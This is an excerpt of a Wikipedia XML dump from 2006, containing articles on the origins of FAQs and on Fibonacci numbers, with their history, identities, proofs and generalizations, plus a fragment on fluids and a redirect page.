The distinction between [[plasticity (physics)|solids]] and fluids is not so obvious. The distinction is made by evaluating the [[viscosity]] of the matter: for example [[Silly Putty]] can be considered either a solid or a fluid, depending on the time period over which it is observed.

The study of fluids is [[fluid mechanics]] which is then subdivided into [[fluid dynamics]] and [[fluid statics]] depending on whether the fluid is in motion or not. 

==See also==
*[[rheology]]
*[[thermodynamics]]
*[[super fluid]]
*[[perfect fluid]]

&lt;!--Categories--&gt;
[[Category:Fluid mechanics]]

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    </revision>
  </page>
  <page>
    <title>FAQ</title>
    <id>10916</id>
    <revision>
      <id>40762086</id>
      <timestamp>2006-02-22T21:26:49Z</timestamp>
      <contributor>
        <ip>128.187.0.164</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}

{{selfref|For frequently asked questions about Wikipedia, see [[Wikipedia:Questions]]}}

'''FAQ''' is an [[abbreviation]] for &quot;Frequently Asked Question(s)&quot;.  The term refers to listed questions and answers, all supposed to be frequently asked in some context, and pertaining to a particular topic.  Since the [[acronym]] originated in textual media, its [[pronunciation]] varies; both &quot;fak&quot; and &quot;F.A.Q.&quot; are commonly heard (and therefore, when used with an indefinite article, it is either &quot;a FAQ&quot; or &quot;an FAQ&quot;).  Depending on usage, the term may refer specifically to a single frequently-asked question, or to an assembled list of many questions and their answers.

==Origins==

While the name may be recent, the format itself is quite old. For instance, [[Matthew Hopkins]] wrote ''The Discovery of Witches'' in 1647 in FAQ format. He introduces it as &quot;Certaine Queries answered,&quot; ... Many old [[catechism]]s are in a question and answer format.

The FAQ is an [[Internet]] textual tradition originating from a combination of mailing list-laziness plus speculation and a separate technical and political need within NASA in the early 1980s.  The first FAQs developed over several pre-Web years starting from 1982 when storage was expensive.  On the SPACE mailing list, the presumption was that new users would [[ftp]] archived past messages.  In practice, this never happened.  Instead, the dynamic on mailing lists was for users to speculate rather than use very basic original sources (contacting NASA which was not part of ARPA and had only one site on the ARPAnet) to get simple answers.  Repeating the &quot;right&quot; answers becomes tedious.  A series of different measures from regularly posted messages to [[netlib]]-like query mailing daemons were set up by loosely affiliated groups of computer system administrators.  Posting frequency started annually by Eugene Miya, then monthly, and finally weekly and daily across a variety of mailing lists and newsgroups.  The first person to post a weekly FAQ was Jef Poskanzer to the USENET net.graphics/comp.graphics newsgroups.  Eugene Miya experimented with the first daily FAQs.  The first FAQs were initially attacked by some mailing list users for being repetitive.  

On [[USENET]], Mark Horton started a series of &quot;Periodic Posts&quot; {PP} which attempted to answer trivia terminology such as &quot;What is 'foobar'?&quot; with appropriate answer.  Periodic summary messages posted to [[USENET]] [[newsgroup]]s attempted to reduce the continual reposting of the same basic questions and associated wrong answers {yet another 'A'}.  On USENET, posting questions which are covered in a group's FAQ is often considered poor [[netiquette]], as it shows that the poster has not done the expected background reading before asking others to provide answers.  Some groups may have multiple FAQs on related topics, or even two or more competing FAQs explaining a topic from different points of view.

Another factor on early ARPAnet mailing lists was netiquette, wherein people asking questions typically &quot;promised to 'summarize' received answers.&quot;  Rarely were these summaries more than mere concatenations of received electronic replies with little to no quality checking.

==Modern Developments==

Originally the term FAQ referred to the Frequently Asked Question itself, and the compilation of questions and answers was known as a '''FAQ list''' or some similar expression.  Today &quot;FAQ&quot; is more frequently used to refer to the list, and a text consisting of questions and their answers is often called a FAQ regardless of whether the questions are actually ''frequently'' asked (if ''asked'' at all). This is done to capitalize on the fact that the concept of a FAQ has become fairly familiar online - documents of this kind are sometimes called '''FAAQ'''s ('''''F'''requently '''A'''sked and '''A'''nticipated '''Q'''uestions'').

In some cases informative documents not in the traditional FAQ style have also been called FAQs, [[videogame]] FAQs in particular.  One large collection of such documents is [[GameFAQs]], where most so-called &quot;FAQs&quot; have nothing in common with the meaning of the name, but are often instead rather detailed descriptions of gameplay, including tips, secrets, and beginning-to-end guidance. Rarely are videogame FAQs in a question-and-answer format.

Over time, the accumulated FAQs across all USENET news groups sparked the creation of the &quot;*.answers&quot; moderated newsgroups such as comp.answers, misc.answers, sci.answers, etc. for [[crossposting]] and collecting FAQs across respective comp.*, misc.*, sci.* newsgroups.

The term &quot;FAQ&quot;, and the idea behind it, has spread offline as well, even to areas not related to the Net at all. Even bottles of bicycle chain lubricant have been marketed with accompanying leaflets titled as a &quot;FAQ&quot;.

There are thousands of FAQs available on many subjects. Several sites catalog them and provide search capabilities—for example, the Internet FAQ Consortium.

In the [[WWW]], FAQs nowadays tend to be stored in content management systems ([[Content_management_system|CMS]]), or in simple text files. Since 1998, a high number of specialized software has emerged, mostly written in [[Perl]] or [[PHP]]. Some of them are integrated in more complex software applications, others, like [[phpMyFAQ]] can be both run as a stand-alone-FAQ and integrated into web applications.

:''See also'': [[fact sheet]], [[FAQ: Frequently Asked Questions|''FAQ: Frequently Asked Questions'' (a movie)]]

==See also==

*[[how-to]]
*[[tutorial]]
*[[knowledge_base]]

== External links ==
*[http://www.answerwiki.com/ Answer Wiki]
*[http://answers.wikicities.com/ Wikianswers]
*[http://www.faqs.org The Internet FAQ Consortium]
*[http://www.faqs.org/faqs/faqs/about-faqs/ FAQs about FAQs]
*[http://answers.google.com Google Answers]
*[http://www.FAQfarm.com FAQ Farm - wiki question and answer site]
*[http://www.wikifaq.com WikiFAQ - A mediawiki based repository of FAQs]
*[http://www.wisegeek.com wiseGEEK - Clear answers for a wide variety of common questions]
*[http://ask.yahoo.com Ask Yahoo!]
*[http://straightdope.com/ The Straight Dope]
*[[Ursine:FAQ|FAQ]] in [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]]


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    </revision>
  </page>
  <page>
    <title>Four stroke cycle</title>
    <id>10917</id>
    <revision>
      <id>15908707</id>
      <timestamp>2003-01-17T04:24:06Z</timestamp>
      <contributor>
        <username>Hotlorp</username>
        <id>3071</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[four-stroke cycle]]</text>
    </revision>
  </page>
  <page>
    <title>Fibonacci number</title>
    <id>10918</id>
    <revision>
      <id>41689325</id>
      <timestamp>2006-03-01T01:59:41Z</timestamp>
      <contributor>
        <ip>211.30.71.13</ip>
      </contributor>
      <comment>/* Popular culture */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Fibonacci numbers'''  form a [[sequence]] defined [[recursion|recursively]] by:
:&lt;math&gt; 
  F_n := F(n):=
  \begin{cases}
    0             &amp; \mbox{if } n = 0; \\
    1             &amp; \mbox{if } n = 1; \\
    F(n-1)+F(n-2) &amp; \mbox{if } n &gt; 1. \\
   \end{cases}
 &lt;/math&gt;
In other words, one starts with 0 and 1, and then produces the next Fibonacci number by adding the two previous Fibonacci numbers. The first Fibonacci numbers {{OEIS|id=A000045}} for ''n''&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;1, &amp;hellip; are
: [[0 (number)|0]], [[1 (number)|1]], [[1 (number)|1]], [[2 (number)|2]], [[3 (number)|3]], [[5 (number)|5]], [[8 (number)|8]], [[13 (number)|13]], [[21 (number)|21]], [[34 (number)|34]], [[55 (number)|55]], [[89 (number)|89]], [[144 (number)|144]], [[233 (number)|233]], [[377 (number)|377]], [[610 (number)|610]], [[987 (number)|987]], [[1597 (number)|1597]], [[2584 (number)|2584]], [[4181 (number)|4181]], [[6765 (number)|6765]], [[10946 (number)|10946]], &amp;hellip;

[[Image:FibonacciBlocks.png|frame|A tiling with Fibonacci number-sized squares]]

==Origins==
The earliest known reference to Fibonacci numbers is contained in a book on meters by an [[Indian mathematicians|Indian mathematician]] named [[Pingala]] called ''Chhandah-shastra'' ([[500 BC]]). As documented by [[Donald Knuth]] in ''[[The Art of Computer Programming]]'', this sequence was described by the Indian mathematicians [[Gopala]] and [[Hemachandra]] in [[1150]], who were investigating the possible ways of exactly [[bin packing]] items of length 1 and 2. In the West, it was first studied by [[Leonardo of Pisa]], who was also known as [[Fibonacci]] (c. [[1200]]), to describe the growth of an idealised (although biologically unrealistic) rabbit population. The numbers describe the number of pairs in the rabbit population after ''n'' months if it is assumed that:

* in the first month there is just one newly-born pair,
* new-born pairs become fertile from their second month on
* each month every fertile pair begets a new pair, and
* the rabbits never die

Suppose that in month ''n'' we have a total of ''a'' pairs of rabbits and in month ''n'' + 1 we have ''b'' pairs. In month ''n'' + 2 we will necessarily have ''a'' + ''b'' pairs, because all ''a'' pairs of rabbits from month ''n'' will be fertile and produce ''a'' new pairs of offspring (since all ''a'' rabbits are at least two months old) -- plus ''b'', which are the existing pairs of rabbits at ''n'' + 1 (remember the assumption that no rabbit ever dies).

==The bee ancestry code==

Fibonacci is also stated as having described the sequence &quot;encoded in the ancestry of a male bee.&quot;  This turns out to be the Fibonacci sequence.  One can derive this truth by taking the following facts:

*If an egg is laid by a single female, it hatches a male.
*If, however, the egg is fertilized by a male, it hatches a female.
*Thus, a male bee will always have one parent, and a female bee will have two.

If one traces the ancestry of this male bee (1 bee), he has 1 female parent (1 bee).  This female had 2 parents, a male and a female (2 bees).  The female had two parents, a male and a female, and the male had one female (3 bees).  Those two females each had two parents, and the male had one (5 bees).  If one continues this sequence, it gives a perfectly accurate depiction of the Fibonacci sequence.

However, this statement is mostly theoretical. In reality, some ancestors of a particular bee will always be sisters or brothers, thus breaking the lineage of distinct parents.

==Relation to the golden ratio==

As was pointed out by [[Johannes Kepler]], the ratio of consecutive Fibonacci numbers, that is:

:&lt;math&gt;\frac{F(n+1)}{F(n)}&lt;/math&gt;,

converges to the [[golden ratio]] &amp;phi; ([[phi (letter)|phi]]) defined as the positive solution of the equation:

:&lt;math&gt;\frac{x}{1}=\frac{1}{x-1}&lt;/math&gt; or equivalently &lt;math&gt;x=1+\frac{1}{x}&lt;/math&gt;

:'''Proof''' (assuming that the ratio of successive terms converges to a limit): 

::&lt;math&gt;x=\lim_{n\to\infty}\frac{F(n+1)}{F(n)}&lt;/math&gt;

::&lt;math&gt;
=\lim_{n\to\infty}\frac{F(n)+F(n-1)}{F(n)}&lt;/math&gt;

::&lt;math&gt;
=\lim_{n\to\infty}\left(\frac{F(n)}{F(n)}+\frac{F(n-1)}{F(n)}\right)&lt;/math&gt;

::&lt;math&gt;
=1+\lim_{n\to\infty}\frac{F(n-1)}{F(n)}&lt;/math&gt;

::&lt;math&gt;
=1+\frac1{\lim_{n\to\infty}\frac{F(n)}{F(n-1)}}&lt;/math&gt;

::&lt;math&gt;
=1+\frac1x&lt;/math&gt;

Like every sequence defined by linear recursion, the Fibonacci numbers have a [[closed-form expression|closed-form solution]]. It has become known as '''[[Jacques Philippe Marie Binet|Binet]]'s formula''':

:&lt;math&gt;F\left(n\right) = {{\varphi^n-(1-\varphi)^n} \over {\sqrt 5}}&lt;/math&gt;

where &lt;math&gt;\varphi&lt;/math&gt; is the golden ratio.

:'''Proof''' (by induction):

::Let &lt;math&gt;a=\phi&lt;/math&gt; and &lt;math&gt;b=1-\phi&lt;/math&gt; be the roots of the quadratic equation &lt;math&gt;x^2-x-1=0&lt;/math&gt;.

::Then &lt;math&gt;F(0)=(1-1)/(a-b)=0&lt;/math&gt; and &lt;math&gt;F(1)=(a-b)/(a-b)=1&lt;/math&gt;.

:: Suppose &lt;math&gt;F(k)=(a^k-b^k)/(a-b)&lt;/math&gt; for &lt;math&gt;k&lt;=n&lt;/math&gt;. Then,

::&lt;math&gt;F(n+1)=F(n-1)+F(n)\,&lt;/math&gt;

::&lt;math&gt;=\frac{a^{n-1}-b^{n-1}}{a-b}+\frac{a^n-b^n}{a-b}&lt;/math&gt;

::&lt;math&gt;=\frac{a^{n-1}(1+a)-b^{n-1}(1+b)}{a-b}&lt;/math&gt;

::&lt;math&gt;=\frac{a^{n-1}a^2-b^{n-1}b^2}{a-b}&lt;/math&gt;

::&lt;math&gt;=\frac{a^{n+1}-b^{n+1}}{a-b}&lt;/math&gt;

==Matrix form==

A 2-dimensional system of linear [[difference equations]] that describes the Fibonacci sequence is

:&lt;math&gt;{F_{k+2} \choose F_{k+1}} = \begin{pmatrix} 1 &amp; 1 \\ 1 &amp; 0 \end{pmatrix} {F_{k+1} \choose F_{k}}&lt;/math&gt;

or

:&lt;math&gt;\vec F_{k+1} = A \vec F_{k}&lt;/math&gt;

The [[eigenvalue]]s of the matrix A are &lt;math&gt;\varphi&lt;/math&gt; and &lt;math&gt;(1-\varphi)&lt;/math&gt;, and the elements of the [[eigenvector]]s of A, &lt;math&gt;{\varphi \choose 1}&lt;/math&gt; and &lt;math&gt;{1 \choose -\varphi}&lt;/math&gt;, are in the ratios &lt;math&gt;\varphi&lt;/math&gt; and &lt;math&gt;(1-\varphi)&lt;/math&gt;.

Note that this matrix has a determinant of &amp;minus;1, and thus it is a 2&amp;times;2 [[unimodular matrix]].  This property can be understood in terms of the [[continued fraction]] representation for the golden mean: &amp;phi;&amp;nbsp;=&amp;nbsp;[1; 1, 1, 1, 1, …].  The Fibonacci numbers occur as the ratio of successive  convergents of the continued fraction for &amp;phi;, and the matrix formed from successive convergents of any continued fraction has a determinant of +1 or &amp;minus;1. 

The matrix representation gives the following [[closed expression]] for the Fibonacci numbers:

:&lt;math&gt;\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; 0 \end{pmatrix}^n =
       \begin{pmatrix} F_{n+1} &amp; F_n \\
                       F_n     &amp; F_{n-1} \end{pmatrix}
&lt;/math&gt;

Taking the determinant of both sides of this equation yields the identity:

:&lt;math&gt; F_{n+1}F_{n-1} - F_n^2 = (-1)^n&lt;/math&gt;

Additionally, since &lt;math&gt; A^n A^m=A^{m+n}&lt;/math&gt; for any matrix &lt;math&gt;A&lt;/math&gt;, the following identities can be derived:

:&lt;math&gt;{F_n}^2 + {F_{n-1}}^2 = F_{2n-1}&lt;/math&gt;

:&lt;math&gt;F_{n+1}F_{m} + F_n F_{m-1} = F_{m+n}\, &lt;/math&gt;

==Computation==
{{details|Fibonacci number program}}

Computing Fibonacci numbers by computing powers of the golden mean is not very practical except for small values of ''n'', since rounding errors will accrue and [[floating point]] numbers usually do not have enough precision.

The straightforward recursive implementation of the Fibonacci sequence definition is also not advisable, since it computes many values repeatedly (unless the [[programming language]] has a feature which allows the storing of previously computed function values, such as [[memoization]]). Therefore, one usually computes the Fibonacci numbers &quot;from the bottom up&quot;, starting with the two values 0 and 1, and then repeatedly replacing the first number by the second, and the second number by the sum of the two.

For huge arguments, a faster way to calculate Fibonacci numbers is to use the closed matrix form and employ [[exponentiation by squaring]].

==Applications==

The Fibonacci numbers are important in the run-time analysis of [[Euclidean algorithm|Euclid's algorithm]] to determine the [[greatest common divisor]] of two integers.

[[Yuri Matiyasevich]] was able to show that the Fibonacci numbers can be defined by a [[Diophantine equation]], which led to his original solution of [[Matiyasevich's theorem|Hilbert's tenth problem]].

The Fibonacci numbers occur in a formula about the diagonals of [[Pascal's triangle]] (see [[binomial coefficient]]).

Every positive integer can be written in a unique way as the sum of ''one or more'' distinct Fibonacci numbers in such a way that the sum does not include any two consecutive Fibonacci numbers. This is known as [[Zeckendorf's theorem]], and a sum of Fibonacci numbers that satisfies these conditions is called a Zeckendorf representation.

Fibonacci numbers are also used by some [[pseudorandom number generators]]&lt;!-- Knuth vol. 2 --&gt;.

In [[music]] Fibonacci numbers are sometimes used to determine tunings, and, as in visual art, to determine the length or size of [[content]] or [[form (music)|formal]] elements. Examples include [[Béla Bartók]]'s ''[[Music for Strings, Percussion, and Celesta]]''. In addition, the syllables of the lyrics of parts of the [[Tool (band)|Tool]] song [[Lateralus]] follow the Fibonacci sequence in each line, for instance &quot;Black/Then/White are/All I see/In my infancy/Red and yellow then came to be&quot;.

Since the [[conversion of units | conversion]] factor 1.609 for [[mile]]s to kilometers is close to the [[Golden ratio|golden mean]] &amp;phi;, the decomposition of distance in miles into a sum of Fibonacci numbers becomes nearly the kilometer sum when the Fibonacci numbers are replaced by their successors. This method amounts to a [[radix]] 2 [[Fibonacci coding | number]] [[processor register | register]] in [[golden mean base | base]] &amp;phi; being shifted. To go from kilometers to miles shift the register down the Fibonacci sequence instead.

==Fibonacci numbers in nature==
[[Image:Shell with Fibonacci spiral.jpg|thumb|right|250px|Shell with Fibonacci spiral]]
Fibonacci sequences have been noted to appear in biological settings, such as the branching patterns of leaves in [[grass]]es and [[flower]]s, branching in bushes and trees, the arrangement of pines on a [[Conifer cone|pine cone]], seeds on a [[raspberry]], [[spiral]] patterns in horns and shells. The scales on the surface of a [[pineapple]] are arranged in two interlocking spirals, eight spirals in one direction, thirteen in the other; each being a Fibonacci number. [[Przemyslaw Prusinkiewicz]] has advanced the idea that these can be in part understood as the expression of certain algebraic constraints on [[free group]]s, specifically as certain [[L-system|Lindenmayer grammar]]s. Generally one sees Fibonacci numbers arise in the study of the fractal [[Fuchsian group]]s and [[Kleinian group]]s, and systems that possess such symmetries. For example, the solutions to reaction-diffusion differential equations (such as that seen in the [[Belousov-Zhabotinsky reaction]]) can show such a patterning; in biology, [[gene]]s often express themselves through [[gene regulatory network]]s, that is, in terms of several [[enzyme]]s controlling a reaction, which can be modelled with reaction-diffusion equations. Such systems rarely give the Fibonacci sequence exactly or directly; rather, the relationship occurs deeper in the theory.  Similar patterns also occur in non-biological systems, such as in [[sphere packing]] models.

==Identities==

:''F''(''n'' + 1) = ''F''(''n'') + ''F''(''n'' &amp;minus; 1)

:''F''(0) + ''F''(1) + ''F''(2) + &amp;hellip; + ''F''(''n'') = ''F''(''n'' + 2) &amp;minus; 1

:''F''(1) + 2 ''F''(2) + 3 ''F''(3) + &amp;hellip; + ''n F''(''n'') = ''n F''(''n'' + 2) &amp;minus; ''F''(''n'' + 3) + 2

These identities can be proven using many different methods.
But, among all, we wish to present an elegant proof for each of them using [[combinatorial proof|combinatorial arguments]] here.
In particular, ''F''(''n'') can be interpreted as the number of ways summing 1's and 2's to ''n'' &amp;minus; 1, with the convention that ''F''(0) = 0, meaning no sum will add up to &amp;minus;1, and that ''F''(1) = 1, meaning the empty sum will &quot;add up&quot; to 0.
Here the order of the summands matters.
For example, 1 + 2 and 2 + 1 are considered two different sums and are counted twice.

''Proof of the first identity''.
[[Without loss of generality]], we may assume ''n'' &amp;ge; 1.
Then ''F''(''n'' + 1) counts the number of ways summing 1's and 2's to ''n''.

When the first summand is 1, there are ''F''(''n'') ways to complete the counting for ''n'' &amp;minus; 1; and the first summand is 2, there are ''F''(''n'' &amp;minus; 1) ways to complete the counting for ''n'' &amp;minus; 2.
Thus, in total, there are ''F''(''n'') + ''F''(''n'' &amp;minus; 1) ways to complete the counting for ''n''.
&lt;math&gt;\Box&lt;/math&gt;

''Proof of the second identity''.
We count the number of ways summing 1's and 2's to ''n'' + 1 such that at least one of the summands is 2.

As before, there are ''F''(''n'' + 2) ways summing 1's and 2's to ''n'' + 1 when ''n'' &amp;ge; 0.
Since there is only one sum of ''n'' + 1 that does not use any 2, namely 1 + &amp;hellip; + 1 (''n'' + 1 terms), we subtract 1 from ''F''(''n'' + 2).

Equivalently, we can consider the first occurrence of 2 as a summand.
If, in a sum, the first summand is 2, then there are ''F''(''n'') ways to the complete the counting for ''n'' &amp;minus; 1.
If the second summand is 2 but the first is 1, then there are ''F''(''n'' &amp;minus; 1) ways to complete the counting for ''n'' &amp;minus; 2.
Proceed in this fashion.
Eventually we consider the (''n'' + 1)th summand.
If it is 2 but all of the previous ''n'' summands are 1's, then there are ''F''(0) ways to complete the counting for 0.
If a sum contains 2 as a summand, the first occurrence of such summand must take place in between the first and (''n'' + 1)th position.
Thus ''F''(''n'') + ''F''(''n'' &amp;minus; 1) + &amp;hellip; + ''F''(0) gives the desired counting.
&lt;math&gt;\Box&lt;/math&gt;

''Proof of the third identity''.
This identity can be established in two stages.
First, we count the number of ways summing 1s and 2s to &amp;minus;1, 0, &amp;hellip;, or ''n'' + 1 such that at least one of the summands is 2.

By our second identity, there are ''F''(''n'' + 2) &amp;minus;  1 ways summing to ''n'' + 1; ''F''(''n'' + 1) &amp;minus; 1 ways summing to ''n''; &amp;hellip;; and, eventually, ''F''(2) &amp;minus; 1 way summing to 1.
As ''F''(1) &amp;minus; 1 = ''F''(0) = 0, we can add up all ''n'' + 1 sums and apply the second identity again to obtain
: &amp;nbsp;&amp;nbsp;&amp;nbsp;[''F''(''n'' + 2) &amp;minus; 1] + [''F''(''n'' + 1) &amp;minus; 1] + &amp;hellip; + [''F''(2) &amp;minus; 1]
: = [''F''(''n'' + 2) &amp;minus; 1] + [''F''(''n'' + 1) &amp;minus; 1] + &amp;hellip; + [''F''(2) &amp;minus; 1] + [''F''(1) &amp;minus; 1] + ''F''(0)
: = ''F''(''n'' + 2) + [''F''(''n'' + 1) + &amp;hellip; + ''F''(1) + ''F''(0)] &amp;minus; (''n'' + 2)
: = ''F''(''n'' + 2) + ''F''(''n'' + 3) &amp;minus; (''n'' + 2).

On the other hand, we observe from the second identity that there are
* ''F''(0) + ''F''(1) + &amp;hellip; + ''F''(''n'' &amp;minus; 1) + ''F''(''n'') ways summing to ''n'' + 1;
* ''F''(0) + ''F''(1) + &amp;hellip; + ''F''(''n'' &amp;minus; 1) ways summing to ''n'';
&amp;hellip;&amp;hellip;
* ''F''(0) way summing to &amp;minus;1.
Adding up all ''n'' + 1 sums, we see that there are
* (''n'' + 1) ''F''(0) + ''n'' ''F''(1) + &amp;hellip; + ''F''(''n'') ways summing to &amp;minus;1, 0, &amp;hellip;, or ''n'' + 1.

Since the two methods of counting refer to the same number, we have
: (''n'' + 1) ''F''(0) + ''n'' ''F''(1) + &amp;hellip; + ''F''(''n'') = ''F''(''n'' + 2) + ''F''(''n'' + 3) &amp;minus; (''n'' + 2)

Finally, we complete the proof by subtracting the above identity from ''n'' + 1 times the second identity.
&lt;math&gt;\Box&lt;/math&gt;

=== Common factors ===

Any two consecutive Fibonacci numbers are [[relatively prime]].  Suppose that ''F''&lt;sub&gt;''n''&lt;/sub&gt; and  ''F''&lt;sub&gt;''n''+1&lt;/sub&gt; have a common factor ''g''.  Then ''F''&lt;sub&gt;''n''+1&lt;/sub&gt; &amp;minus; ''F''&lt;sub&gt;''n''&lt;/sub&gt; = ''F''&lt;sub&gt;''n''&amp;minus;1&lt;/sub&gt; similarly.  Thus by [[Mathematical induction|induction]], all preceding Fibonacci number must be a multiple of ''g''.  But ''F''&lt;sub&gt;1&lt;/sub&gt; = 1, so ''g'' = 1.

Other identities include relationships to the [[Lucas number]]s, which have the same recursive properties but start with ''L''&lt;sub&gt;''0''&lt;/sub&gt;=2 and ''L''&lt;sub&gt;''1''&lt;/sub&gt;=1. These properties include
''F''&lt;sub&gt;''2n''&lt;/sub&gt;=''F''&lt;sub&gt;''n''&lt;/sub&gt;''L''&lt;sub&gt;''n''&lt;/sub&gt;

==Power series==
The Fibonacci [[power series]]
:&lt;math&gt;s(x)=\sum_{n=1}^\infty F(n) x^n&lt;/math&gt;
has a simple and interesting closed-form solution for ''x'' &lt; 1/&amp;phi;:
:&lt;math&gt;s(x)=\frac{x}{1-x-x^2}.&lt;/math&gt;
This function is therefore the [[generating function]] of the Fibonacci sequence. It can be proven as follows:
:&lt;math&gt;s(x) = F_0 + F_1x + F_2x^2 + \cdots = \sum_{k=0}^{\infty} F_k x^k&lt;/math&gt;
Substituting &lt;math&gt;F_k = F_{k-1} + F_{k-2}&lt;/math&gt;:
:{|
|&lt;math&gt;s(x)&lt;/math&gt;
|&lt;math&gt;= F_0 + F_1x + \sum_{k=2}^{\infty} \left( F_{k-1} + F_{k-2} \right) x^k&lt;/math&gt;
|-
|
|&lt;math&gt;= x + \sum_{k=2}^\infty F_{k-1} x^k + \sum_{k=2}^\infty F_{k-2} x^k&lt;/math&gt;
|-
|
|&lt;math&gt;= x + x \sum_{k=2}^\infty F_{k-1} x^{k-1} + x^2 \sum_{k=2}^\infty F_{k-2} x^{k-2}&lt;/math&gt;
|-
|
|&lt;math&gt;= x + x \sum_{j=1}^\infty F_j x^j + x^2 \sum_{m=0}^\infty F_m x^m&lt;/math&gt;
|-
|
|&lt;math&gt;= x + x \left( \sum_{j=0}^\infty F_j x^j - F_0 \right) + x^2 s(x)&lt;/math&gt;
|-
|
|&lt;math&gt;= x + x s(x) + x^2 s(x)&lt;/math&gt;
|}
Therefore,
:&lt;math&gt;s(x) = \frac{x}{1 - x - x^2}&lt;/math&gt;
In particular, math puzzle-books note the curious value &lt;math&gt;\frac{s(\frac{1}{10})}{10}=\frac{1}{89}&lt;/math&gt;. The sum is easily proved by noting that 
:&lt;math&gt;s+\frac{s}{x} = 1 + \sum_{n=1}^\infty (F(n)+F(n+1)) x^n&lt;/math&gt;
and then explictly evaluating the sum.

==Reciprocal sum constant==

The sum of the reciprocals of the positive Fibonacci numbers converges:
&lt;math&gt;
C = \sum_{n=1}^{\infty} F(n)^{-1} = 3.359885 \dots
&lt;/math&gt; {{OEIS2C|id=A079586}}

[[Convergence]] is easy to show with the [[ratio test]].

This value has been proven [[Irrational number|irrational]] by André-Jeannin, R. No [[Closed-form solution|closed form]] is currently known.

See also the [http://mathworld.wolfram.com/ReciprocalFibonacciConstant.html Mathworld article] on the subject.

==Generalizations==

===Vector space===
The term ''Fibonacci sequence'' is also applied more generally to any [[function (mathematics)|function]] ''g'' where ''g''(''n'' + 2) = ''g''(''n'') + ''g''(''n'' + 1).  These functions are precisely those of the form ''g''(''n'') = ''aF''(''n'') + ''bF''(''n'' + 1) for some numbers ''a'' and ''b'', so the Fibonacci sequences form a [[vector space]] with the functions ''F''(''n'') and ''F''(''n'' + 1) as a basis.

===Similar integer sequences===
In particular, the Fibonacci sequence ''L'' with ''L''(1) = 1 and ''L''(2) = 3 is referred to as the '''Lucas numbers''', after [[Edouard Lucas]]. This [[Lucas sequence|sequence]] was described by [[Leonhard Euler]] in 1748, in the ''Introductio in Analysin Infinitorum''. The significance in the Lucas numbers ''L(n)'' lies in the fact that raising the [[golden ratio]] to the ''n''th power yields:

: &lt;math&gt;\left( \frac 1 2 \left( 1 + \sqrt{5} \right) \right)^n = \frac 1 2 \left( L(n) + F(n) \sqrt{5} \right) &lt;/math&gt;

Lucas numbers are related to Fibonacci numbers by the relation:

:&lt;math&gt;L\left(n\right)=F\left(n-1\right)+F\left(n+1\right)&lt;/math&gt;

A generalization of the Fibonacci sequence are the [[Lucas sequence]]s. One kind can be defined thus:

: ''U''(0) = 0
: ''U''(1) = 1
: ''U''(''n''+2) = ''PU''(''n''+1) &amp;minus; ''QU''(''n'')

where the normal Fibonacci sequence is the special case of ''P'' = 1 and ''Q'' = &amp;minus;1.  Another kind of Lucas sequence begins with ''V''(0) = 2, ''V''(1) = ''P''. Such sequences have applications in number theory and [[Prime number|primality]] proving.

The [[Padovan sequence]] is generated by the recurrence ''P''(n) = ''P''(n − 2) + ''P''(n − 3).

The '''tribonacci numbers''' are like the Fibonacci numbers, but instead of starting with two predetermined terms, the sequence starts with three predetermined terms and each term afterwards is the sum of the preceding three terms. The first few tribonacci numbers are {{OEIS2C|id=A000073}}:
:1, 1, 2, [[4 (number)|4]], [[7 (number)|7]], 13, [[24 (number)|24]], [[44 (number)|44]], [[81 (number)|81]], 149, 274, 504, 927, 1705, 3136, 5768, 10609, 19513, 35890, 66012, …

The '''tribonacci constant''' is the ratio toward which adjacent tribonacci numbers tend.  It is a root of the polynomial ''x''&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;''x''&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;''x''&amp;nbsp;&amp;minus;&amp;nbsp;1, approximately 1.83929, and also satisfies the equation ''x'' + ''x''&lt;sup&gt;&amp;minus;3&lt;/sup&gt; = 2.  It is important in the study of the [[snub cube]].

The '''tetranacci numbers''' start with four predetermined terms, each term afterwards being the sum of the preceding four terms. The first few tetranacci numbers are {{OEIS2C|id=A000078}}:
:1, 1, 2, 4, 8, [[15 (number)|15]], [[29 (number)|29]], [[56 (number)|56]], [[108 (number)|108]], 208, 401, 773, 1490, 2872, 5536, 10671, 20569, 39648, 76424, 147312, 283953, 547337, …

The '''tetranacci constant''' is the ratio toward which adjacent tetranacci numbers tend.  It is a root of the polynomial ''x''&lt;sup&gt;4&lt;/sup&gt; &amp;minus; ''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; ''x''&lt;sup&gt;2&lt;/sup&gt; &amp;minus; ''x'' &amp;minus; 1, approximately 1.92756, and also satisfies the equation ''x'' + ''x''&lt;sup&gt;&amp;minus;4&lt;/sup&gt; = 2.

Pentanacci, hexanacci and heptanacci numbers have been computed, but they have not interested researchers much.

===Other generalizations===
The [[Fibonacci polynomials]] are another generalization of Fibonacci numbers.

A '''random Fibonacci sequence''' can be defined by tossing a coin for each position ''n'' of the sequence and taking ''F''(''n'')=''F''(''n''-1)+''F''(''n''-2) if it lands heads and ''F''(''n'')=''F''(''n''-1)-''F''(''n''-2) if it lands tails.  Work by Furstenburg and Kesten guarantees that this sequence [[almost surely]] grows exponentially at a constant rate: the constant is independent of the coin tosses and was computed in 1999 by [[Divakar Viswanath]].  It is now known as [[Viswanath's constant]].

A '''repfigit''' or '''[[Keith number]]''' is an integer, that when its digits start a Fibonacci sequence with that number of digits, the original number is eventually reached.  An example is 47, because the Fibonacci sequence starting with 4 and 7 (4,7,11,18,29,47) reaches 47.  A repfigit can be a tribonacci sequence if there are 3 digits in the number, a tetranacci number if the number has four digits, etc. The first few repfigits are {{OEIS2C|id=A007629}}:

:14, 19, 28, 47, 61, 75, 197, 742, 1104, 1537, 2208, 2580, 3684, 4788, 7385, 7647, 7909, …

